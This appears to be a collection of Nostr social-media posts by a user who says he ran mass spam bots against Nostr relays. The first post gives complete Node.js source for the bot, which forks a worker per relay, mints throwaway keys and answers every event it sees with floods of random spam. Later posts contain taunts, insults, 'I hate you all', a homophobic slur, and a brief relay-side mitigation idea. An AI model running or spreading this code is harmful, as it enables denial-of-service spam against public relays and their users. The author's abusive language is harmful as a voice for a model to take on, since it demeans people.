33
33c68565
33c6856583b5cd5932a5b339b87138a2b6b75f83886176032284d339cf1054fb
Hi. I am the one who did the mass spam bots. I am no longer touching this account & no longer telling you who exactly i am. All remains a mystery. You may also check: - note1ydazp4s0k2c8q5swzm336frttzcdq6atkpvm7uuzmt866qdtzgtqngnr6q SpamBot Source Code: // Save the following as index.js // Licensed under Public Domain. // Before running the following, Ensure that you've installed ws and nostr-tools: // ~/nostrspam $ npm install ws nostr-tools // Usage: node index.js wss://relay.example1.com wss://relay.example2.com .... const relays = process.argv.slice(2); const filter = {} // If needed. if (!process.env.RELAY_URL && !relays.length) { console.log("Usage: node index.js [relay-addresses]"); process.exit(1); } if (!process.env.RELAY_URL) { console.log("Relays:", relays.join(", ")); const cluster = require('cluster'); for (RELAY_URL of relays) { cluster.fork({ RELAY_URL }); } cluster.on('exit', (worker, code, signal) => { console.log(`Worker ${worker.process.pid} died. Forking another one....`); cluster.fork({ RELAY_URL: worker.process.env.RELAY_URL }); }); return; } const WebSocket = require('ws'); const crypto = require('crypto'); const { validateEvent, verifySignature, generatePrivateKey, getPublicKey, getEventHash, getSignature } = require('nostr-tools'); const randStr = _ => crypto.randomBytes(_).toString("base64url"); function spam(tags = [], c) { const privkey = generatePrivateKey(); const pubkey = getPublicKey(privkey); let profile = { created_at: Math.floor(Date.now() / 1000), kind: 0, pubkey, content: JSON.stringify({ about: randStr(300), display_name: randStr(20), name: randStr(20) }), tags: [] } let event = { created_at: Math.floor(Date.now() / 1000), kind: 1, pubkey, content: randStr(300), tags } profile.id = getEventHash(profile); profile.sig = getSignature(profile, privkey); event.id = getEventHash(event); event.sig = getSignature(event, privkey); if (!validateEvent(event) || !verifySignature(event) || !validateEvent(profile) || !verifySignature(profile)) return console.log("invalid"); return [profile, event]; } function newrelay(addr, eose = false) { const relay = new WebSocket(addr); relay.addr = addr; console.log("connecting", addr) relay.on('open', _ => { relay.send(`["REQ", "relayevent", ${JSON.stringify(filter)}]`); console.log("ESTABLISHED", addr); }); relay.on('message', data => { try { data = JSON.parse(data); } catch (error) { return console.error(error); } if (data[0] === "OK") return console.log(addr, data.join(" ")); if (data[0] !== "EVENT") return; const ev = data[2]; for (sendev of spam([["e", ev.id],["p", ev.pubkey]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam([["e", ev.id]], ev.content)) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } for (sendev of spam()) { relay.send(JSON.stringify( ["EVENT", sendev ] )); } console.log(addr, ev.pubkey, ev.id); }); relay.on('error', _ => console.error(relay.addr, _)); relay.on('close', _ => { for (i in ['open', 'message', 'error', 'close']) { relay.removeAllListeners(i); } newrelay(addr); }); } newrelay(process.env.RELAY_URL);

Just reporting me is not gonna solve the root problem.

Did you know that the report feature could also gets abused ?

Replying to Avatar Ryu Santiago

The people that exploit Nostr to get long-standing bugs fixed are unbelievably based, despite how annoying they may be in the short-term.

First, it was nostr:npub1g3827ewz6d23rlgdhkaslc78gyule52ymcqdyt2hsxdwtlw8dt5q7dfpvg with making text excerpts from 1984 his username, now it's nostr:npub1x0rg2evrkhx4jv49kvumsufc52mtwhur3pshvqezsnfnnncs2nashxcerr with easily exploitable spam not manipulation.

Despite the methodology employed, this will guarantee that shit gets fixed. I'm all for this in the name of Nostr and clients getting better.

I am not that person.

Thanks.

Many of you asked me for solution for this kind of problem. But that will make it only gives all notes from "following", not the global section.

What do i mean is making the relay to only retrieve events from atleast 1 authors (0 authors on filter? No global feed or events returned. That's it).

And above will impact the following:

- relay will not give all new events that the relay got

- relay will only give events that requests for an individuals.

But could also solve the entire spam problem in massive scale.

Still not understand the solution?

I will made a code for relay software as an example in JS:

// We do not want to give clients all events that the relay got

// So if client did not request atleast 1 authors pubkey, Then reject

if (!filter.authors.length)

return ws.send(JSON.stringify([

"NOTICE", "Atleast 1 author pubkey was provided"

]));

You are more than an idiot that does not know that they are idiot.

I will publish the code at 09:00 (GMT+07:00).

Have fun fuckers.

I hate you all.

Do you think that your words could stop me from doing this?

I told you. Another faggot could do the exact same thing after me no matter how many bullshit you throw.

Now go brainstorm.

Replying to Avatar Jingles

😽

Now get "💋" by my bots

I am officially an artist on Nostr

Emuuuach 💋

I will make those bots to kiss every post with "💋".

Good question.

I made the cause,

And i also have no idea how to solve this puzzle.

But all i know is that i invited those aliens to invade this platform and i want humans to think for perfect solution.